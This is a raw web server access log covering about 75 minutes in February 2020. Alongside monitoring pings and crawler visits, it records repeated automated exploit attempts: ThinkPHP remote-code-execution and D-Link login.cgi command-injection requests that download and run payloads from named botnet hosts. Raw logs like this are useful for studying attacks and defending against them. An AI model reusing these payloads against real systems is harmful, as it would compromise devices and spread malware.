212.91.246.72 - - [07/Feb/2020:09:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.215.21 - - [07/Feb/2020:09:23:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.149 - - [07/Feb/2020:09:25:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:09:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.17.99.23 - - [07/Feb/2020:09:27:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.2.9.16 - - [07/Feb/2020:09:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:09:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.108.34.100 - - [07/Feb/2020:09:30:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.0.33.45 - - [07/Feb/2020:09:32:04 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [07/Feb/2020:09:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.15.12 - - [07/Feb/2020:09:32:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.138.39 - - [07/Feb/2020:09:33:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:09:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.89.82 - - [07/Feb/2020:09:40:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.114.127.226 - - [07/Feb/2020:09:43:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.7.58.68 - - [07/Feb/2020:09:50:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:09:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.228.252.139 - - [07/Feb/2020:09:50:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
208.100.26.229 - - [07/Feb/2020:09:51:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:09:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.100.26.229 - - [07/Feb/2020:09:53:05 +0100] "GET /nmaplowercheck1581065584 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.229 - - [07/Feb/2020:09:53:05 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.229 - - [07/Feb/2020:09:53:05 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.229 - - [07/Feb/2020:09:53:06 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.229 - - [07/Feb/2020:09:53:06 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
208.100.26.229 - - [07/Feb/2020:09:53:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
208.100.26.229 - - [07/Feb/2020:09:53:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:09:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [07/Feb/2020:09:53:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.5.37.163 - - [07/Feb/2020:09:54:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:09:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [07/Feb/2020:09:54:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.194.164.236 - - [07/Feb/2020:09:55:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [07/Feb/2020:09:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [07/Feb/2020:09:57:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.110.7 - - [07/Feb/2020:09:57:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
117.5.210.129 - - [07/Feb/2020:09:58:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:09:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:09:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.87.246 - - [07/Feb/2020:10:00:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
115.87.160.95 - - [07/Feb/2020:10:00:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [07/Feb/2020:10:01:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.100.87.246 - - [07/Feb/2020:10:01:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.246 - - [07/Feb/2020:10:01:10 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.246 - - [07/Feb/2020:10:01:10 +0100] "GET /nmaplowercheck1581066070 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.246 - - [07/Feb/2020:10:01:10 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.246 - - [07/Feb/2020:10:01:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
185.100.87.246 - - [07/Feb/2020:10:01:10 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.246 - - [07/Feb/2020:10:01:10 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:10:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.109.144.82 - - [07/Feb/2020:10:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
92.28.16.242 - - [07/Feb/2020:10:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:10:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.91 - - [07/Feb/2020:10:05:31 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.91 - - [07/Feb/2020:10:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [07/Feb/2020:10:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.170.31 - - [07/Feb/2020:10:07:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.220.240.108 - - [07/Feb/2020:10:08:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.213.125.127 - - [07/Feb/2020:10:08:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:10:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.104.226 - - [07/Feb/2020:10:10:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.13.166 - - [07/Feb/2020:10:15:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.216.147.76 - - [07/Feb/2020:10:15:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.48.140.186 - - [07/Feb/2020:10:18:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:10:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.82.86.160 - - [07/Feb/2020:10:21:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:10:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.231.119.29 - - [07/Feb/2020:10:23:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.17.205 - - [07/Feb/2020:10:27:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:10:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.61 - - [07/Feb/2020:10:30:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.188.125.22 - - [07/Feb/2020:10:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:10:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.12.141 - - [07/Feb/2020:10:30:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
43.250.105.41 - - [07/Feb/2020:10:31:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [07/Feb/2020:10:32:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.76.191.112 - - [07/Feb/2020:10:35:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
